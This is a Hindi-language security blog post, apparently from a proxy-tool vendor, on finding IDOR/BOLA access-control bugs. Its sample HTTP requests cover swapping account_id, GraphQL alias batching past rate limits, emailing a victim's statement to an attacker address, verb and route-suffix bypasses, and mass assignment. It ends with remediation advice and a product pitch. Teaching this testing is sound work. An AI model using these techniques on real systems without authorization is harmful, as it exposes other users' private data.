# IDOR दूसरे identifier में छिपा होता है: दो-अकाउंट Shadow Replay से BOLA खोजना

> हर कोई URL path के ID को fuzz करता है; लेकिन path वाला ID आमतौर पर वही होता है जिसे app असल में जाँचता है। Access-control bug body के account_id में, node(id:) resolver में, async PDF job में, और उस PUT में छिपा है जो आपने कभी भेजा ही नहीं। यहाँ बताया गया है कि BOLA असल में कहाँ रहता है और दो accounts में इसे कैसे diff करें।

**Key takeaways:**
- Path ID एक honeypot है: apps URL के primary key को validate करते हैं पर JSON body के account_id/org_id/tenant_id या X-Account-Id header जैसे किसी secondary identifier पर आँख मूँदकर भरोसा कर लेते हैं। सिर्फ़ उसी field को swap करें, path को हाथ न लगाएँ।
- GraphQL alias batching (a: node(id:'1'){...} b: node(id:'2'){...}) एक ही request में enumerate करता है, per-request rate limits से बच निकलता है, और उन node() resolvers तक पहुँचता है जो वह object check छोड़ देते हैं जिसे REST layer लागू करती थी।
- अक्सर object response में लौटता ही नहीं — यह out-of-band leak होता है किसी export, PDF, emailed receipt, या webhook के ज़रिए जो आपके नियंत्रण वाले किसी id से बनता है, क्योंकि authz check synchronous read पर बैठा है, async job पर नहीं।
- Status code पर भरोसा न करें: एक soft-fail खाली body के साथ 200 लौटाता है और एक cache किसी और का 200 लौटा देता है। पुष्टि करें कि response BODY में victim का data है — दो identities के बीच asymmetry की अनुपस्थिति ही असली signal है।

**Series:** Bug Class Deep Dives  
**Published:** July 4, 2026 · 9 min read  
**Canonical:** https://crusaderproxy.com/research/hi/posts/finding-idor-bola-with-shadow-replay/

---


हर IDOR tutorial आपको वही drill थमाता है: `/api/orders/48210` ढूँढो, उसे `48211` में बदलो, एक `200` की तलाश करो। यह drill आपको ठीक उसी identifier पर हमला करना सिखाता है जिसे application के जाँचने की सबसे ज़्यादा संभावना है। URL path में primary key वहीं है जहाँ framework का `@authorize` annotation रहता है, जहाँ ORM query को scope करता है, जहाँ review केंद्रित रहा। यह honeypot है। आप इसे fuzz करते हैं, `403` पाते हैं, endpoint को सुरक्षित मान लेते हैं, और bug के ठीक बगल से गुज़र जाते हैं।

क्योंकि bug लगभग कभी उस ID में नहीं होता जो आप देख सकते हैं। यह *दूसरे* identifier में होता है — वह जिसे app भूल गया कि वह एक identifier था ही।

> **Path ID वह है जिसे वे जाँचते हैं। Bug उस दूसरे identifier में रहता है जो request अपने साथ ले जाती है — body में account_id, header में tenant, GraphQL alias में id — वह जिसके लिए किसी ने authorization rule लिखा ही नहीं।**

## Secondary identifier को swap करें, path को नहीं

यहाँ वह आकार है जो भुगतान करता है। एक request किसी object को एक साथ दो तरीकों से scope करती है: path में एक resource ID, और कहीं और एक *ownership* ID — एक JSON field, एक header, एक छिपा हुआ form value। Path ID validate होता है। Ownership ID पर *भरोसा* किया जाता है।

```
POST /api/v2/reports/generate HTTP/2
authorization: Bearer <attacker token>
content-type: application/json

{ "report_id": "attacker-owned-uuid",
  "account_id": 5561,          ← victim's account, not yours
  "format": "pdf" }
```

`report_id` आपका है, इसलिए हर resource-level check साफ़-साफ़ pass हो जाता है। पर `account_id` तय करता है कि report में *किसका data* है, और handler इसे सीधे body से पढ़ लेता है बिना यह पूछे कि आपका session account `5561` का हकदार है या नहीं। Path को हाथ न लगाएँ। **सिर्फ़** `account_id` बदलें — या `org_id`, `tenant_id`, या वही अर्थ out of band ले जाने वाला `X-Account-Id` header। यह वह चाल है जो ज़्यादातर hunters कभी नहीं चलते, क्योंकि tutorial ने ग़लत reflex को प्रशिक्षित कर दिया।

## GraphQL: alias batching एक request को हज़ार में बदल देता है

GraphQL वह जगह है जहाँ object-level checks मरने जाते हैं, क्योंकि object-fetch एक साझा resolver है — `node(id:)` — जो एक दर्जन queries से पहुँचा जाता है, और वह authorization जो REST layer ने हर route पर जोड़ी थी अक्सर उस एक resolver में कभी पहुँची ही नहीं। फिर GraphQL आपको एक force multiplier थमाता है: **aliases**।

```graphql
query {
  a: node(id: "VXNlcjox")   { ... on Invoice { id total customer } }
  b: node(id: "VXNlcjoy")   { ... on Invoice { id total customer } }
  c: node(id: "VXNlcjoz")   { ... on Invoice { id total customer } }
  # …200 more aliases in one HTTP request
}
```

एक साथ दो चीज़ें होती हैं। पहला, आप एक *ही* POST में 200 objects enumerate कर लेते हैं — और चूँकि ज़्यादातर rate limiters HTTP requests गिनते हैं, resolver invocations नहीं, आप एक per-request limit के नीचे-नीचे सरक जाते हैं जो 200 REST calls को throttle कर देती। दूसरा, सभी 200 `node()` resolver से होकर गुज़रते हैं, वह code path जो अक्सर उस object-level check को छोड़ देता है जो REST endpoint के पास था। Batch enumeration और system का सबसे कमज़ोर check, एक ही request में। पहले IDs decode करें — आमतौर पर base64 जैसे `Invoice:41` — increment करें, फिर से encode करें, alias बनाएँ।

## Second-order IDOR: object एक साइड दरवाज़े से निकल जाता है

सबसे ख़तरनाक variant object को उस response में कभी नहीं लौटाता जिसे आप देख रहे हैं। आप एक export, एक report, एक PDF, एक receipt, एक webhook माँगते हैं — और sensitive data इमारत से *asynchronously* बाहर निकल जाता है, आपके दिए किसी id से एक background job द्वारा उत्पन्न।

```
POST /api/statements/email HTTP/2
authorization: Bearer <attacker token>

{ "statement_id": 88120, "deliver_to": "attacker@evil.test" }
```

Synchronous response एक फीका `202 Accepted { "job": "queued" }` है — कोई object नहीं, कोई leak नहीं, diff के पकड़ने लायक कुछ नहीं। फिर एक worker statement `88120` (victim का) बनाता है और PDF को *आपके* पते पर email कर देता है। Authz check synchronous read `GET /api/statements/88120` पर लिखा गया था, जो सही ढंग से `403` लौटाता है। किसी ने उस async job को नहीं जाँचा जो वही object render करती है। देखिए कि *system से क्या निकलता है* — email, generated file का URL, webhook payload — सिर्फ़ HTTP response नहीं।

## वह method जिसे authz भूल गया, और वह route जो check छोड़ देता है

Authorization अक्सर `GET` पर लागू होता है और mutate करने वाले verbs पर चुपचाप अनुपस्थित रहता है:

```
GET    /api/documents/7781   → 403   (checked)
PATCH  /api/documents/7781   → 200   (not checked — you just edited the victim's doc)
DELETE /api/documents/7781   → 204   (not checked)
```

और routing की विचित्रताएँ path-आधारित checks को पूरी तरह छोड़ देती हैं। एक `.json` suffix, एक matrix parameter, या एक trailing slash बदल सकता है कि कौन-सा route pattern match होता है — और कौन-सा middleware fire होता है:

```
GET /api/documents/7781        → 403
GET /api/documents/7781.json   → 200   ← different route match, check bypassed
GET /api/documents/7781;x=1    → 200   ← matrix param defeats the path regex
GET /api/documents/7781/       → 200   ← trailing slash, different handler
```

Check एक सटीक path pattern से बँधा हुआ था; उसी controller तक पहुँचने वाला कोई भी *अलग* pattern से match होने वाला चीज़ बिना पहरे के चलती है।

## Mass assignment write पर IDOR है

Write-side वाला चचेरा भाई: create या update पर एक ownership field over-post करना। अगर server पूरे JSON body को एक model से bind कर देता है, तो आप ख़ुद को किसी और का object सौंप देते हैं — या किसी और को अपना।

```
PATCH /api/tickets/9004 HTTP/2

{ "title": "updated", "owner_id": 5561 }   ← reassign ownership you don't own
```

Read-IDOR जैसी ही जड़: app body में एक ऐसे identifier पर भरोसा करता है जिसे उसे session से derive करना चाहिए था। हर create और update पर `user_id`, `owner_id`, `account_id`, `role`, और `is_admin` आज़माएँ।

## Detection का जाल: एक 200 कोई finding नहीं है

यहीं hunters घंटे जलाते हैं और false positives file करते हैं। **Status code दो दिशाओं में झूठ बोलता है।**

एक **soft-fail** एक खाली या scrubbed body के साथ `200` लौटाता है — app ने authz failure पकड़ी और सुंदर ढंग से degrade कर गया। आप एक `200` log करते हैं, जश्न मनाते हैं, और उसमें कोई victim data नहीं होता। एक **cache या CDN** किसी और का `200` लौटा देता है — एक साझा cache key victim का cached object आपकी request को परोस देता है, देखने में एक जैसा पर एक caching bug (इसे report करें, अलग जड़)। किसी भी सूरत में: **पुष्टि करें कि response body में वाकई victim का विशिष्ट data है** — उनका नाम, उनका total, उनका record — सिर्फ़ एक `200` नहीं।

और ध्यान दें कि *आपने कौन-सी boundary पार की*। Same-tenant IDOR (आप अपने ही org में किसी दूसरे user को देखते हैं) असली है पर सीमित है। Cross-*tenant* access (आप किसी दूसरी company का data पढ़ते हैं) एक अलग severity tier और एक अलग payout है। Report में हमेशा boundary बताएँ।

यही ठीक-ठीक कारण है कि UUIDs defender को नहीं बचाते और आपको डराना नहीं चाहिए। Check अब भी गायब है; आप बस identifier का अनुमान लगाने के बजाय उसे harvest कर लेते हैं। UUIDs को confirmation emails, `Referer` headers, `201 Created` पर `Location` header, और असंबंधित API responses में दफ़न cross-references से खींच निकालें। UUIDv1 तो एक timestamp और MAC address भी leak करता है जिसे आप संकरा कर सकते हैं। एक GUID अस्पष्टता है, authorization नहीं।

## Shadow Replay: दो identities को diff करें, अनुपस्थित asymmetry की तलाश करें

एक असली finding को एक झूठ बोलते status code से अलग करने का विश्वसनीय तरीका है वही request दो identities के रूप में चलाना और diff पढ़ना। दो सहेजी गई identities capture करें: एक low-privilege **attacker** और एक **victim** जो अलग objects रखता है। हर object-referencing request को दोनों के रूप में replay करें। आप जो signal चाहते हैं वह है **asymmetry की अनुपस्थिति**।

```
# Victim legitimately fetches their invoice:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <victim token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }

# Shadow-replayed as the attacker, same object id, nothing else changed:
GET /api/invoices/90431 HTTP/2
authorization: Bearer <attacker token>
→ 200 OK   { "id": 90431, "customer": "Northwind Ltd", "total": 8820 }   ← attacker must never see this
```

अगर victim को object के साथ `200` मिलता है और attacker को `403`/`404`, तो authorization काम करता है — यही वह asymmetry है जो आप *चाहते* हैं। अगर **दोनों** को **एक ही body** के साथ `200` मिलता है, तो asymmetry गायब है और access control भी। दो असंबंधित accounts, एक object, समरूप bytes: यही finding है, और diff इसे दस बार manual re-login के बजाय एक नज़र में साफ़ कर देता है।

## Remediation

फ़िक्स कभी "ऊपर एक check जोड़ दो" नहीं होता। हर object fetch को data layer पर authenticated principal तक scope करें: `SELECT * FROM invoices WHERE id = ? AND account_id = <session.account_id>`, ताकि आपके स्वामित्व से बाहर का कोई id शून्य rows लौटाए, चाहे body कुछ भी दावा करे। Ownership को session से derive करें, कभी client-supplied `account_id`, header, या body field से नहीं। वही समान `WHERE` clause write पर और async job पर लागू करें — export worker और PDF renderer को भी इसकी ज़रूरत है। Mass assignment मारने के लिए bindable fields को allowlist करें, और per-object check resolver पर करें, न कि middleware में per-route जिसे एक `.json` suffix चकमा दे सकता है।

## बात यह है

IDOR खोजना कठिन नहीं है; इसे *वहाँ* खोजना कठिन है जहाँ आप देख नहीं रहे। Tutorial आपको उस path ID पर टिका देता है जिसे app लगभग निश्चित रूप से जाँचता है, जबकि असली bug दूसरे identifier में, batched alias में, async receipt में, उस `PATCH` में बैठा है जिसे आपने कभी आज़माया ही नहीं। यह सब business logic है जिसकी पुष्टि कोई scanner नहीं कर सकता, क्योंकि इसकी पुष्टि के लिए diff करने हेतु एक ज्ञात victim चाहिए। जैसे [race condition जीतने]({{< relref path="posts/winning-the-race-condition-bugs.md" lang="en" >}}) में, bug हमेशा वहीं था; method वह है जो उसे सतह पर लाता है।

Crusader का Shadow Replay ठीक इसी के लिए बना है: एक बार एक attacker और एक victim identity परिभाषित करें, फिर किसी भी request को दोनों के रूप में replay करें और अंतर पढ़ें — HTTP/2 पर, web, mobile, और AI targets के लिए। इसे अपनी history की हर object-referencing request पर लगाएँ, secondary identifier swap करें, और उस response की प्रतीक्षा करें जिसे मेल नहीं खाना चाहिए पर खाता है। [Crusader मुफ़्त download करें](https://crusaderproxy.com/#install)।


---

*Original research by Crusader Research. Try Crusader free: https://crusaderproxy.com/#install*
